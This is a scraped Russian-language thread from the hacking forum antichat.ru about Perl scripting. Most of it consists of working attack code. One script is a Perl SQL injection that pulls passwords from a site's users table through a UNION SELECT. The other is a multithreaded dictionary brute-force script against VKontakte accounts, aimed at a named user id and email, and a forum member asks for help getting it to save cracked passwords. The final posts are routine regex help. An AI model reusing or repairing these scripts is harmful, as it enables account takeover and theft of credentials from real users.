forum.antichat.ru

все чувак пащет оказывается =))) спасибо

use LWP::UserAgent;
print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
chomp(my $target=<STDIN>);
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target ."/mynews.php?id=1+union+select+password+from+users/*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;

print "\n[+] Information : $answer\n\n";

надо регулярные выражения позубрить=)))

}{@I{er'Ы
Найдите пожалуйста ошибку в скрипте PERL(для взлома стрпниц вконтакте)

#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

######################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
######################################
$dic = 'passl.txt'; #словарь паролей
$id = 64827412; #id цели
$mail = 'ilya-seleznev%40mail.ru'; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков
######################################

open (pass, "<$dic");

Next:
@pass = pass();

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPor t=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Mozillo\r\n".
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
"Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}
}
goto Next;
sub pass
{
my (@mas);
while (<pass>){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}


ато у меня не сохраняются правильный пороль в good.txt

Всем привет.
Помогите составить регулярное выражение
<b><a class=link1 href="subkat.php?type=showsubkat&type2=1">ТЕКСТ1</a></b>
Нужно, чтобы ТЕКСТ1 вернуло.

|<a.+?>(.+?)</a>|

if($doc =~ /|<a.+?>(.+?)<\/a>|/){
print "\n[+] $2 \n";
}else{
print "\nError\n";
}
т.е. так?

to SeNaP:
$doc='<b><a class=link1 href="subkat.php?type=showsubkat&type2=1">ТЕКС Т1</a></b>';
if($doc=~/>([^<]+)<\/a/)
{
print $1;
}
else
{
die "error"
}

Спасибо, но как сделать, чтобы
вырезало так,
$doc='<b><a class=link1 href="subkat.php?type=showsubkat&type2=1">(.+)</a></b>';
по такому шаблону.Т.е. всё что между тегами, вернуло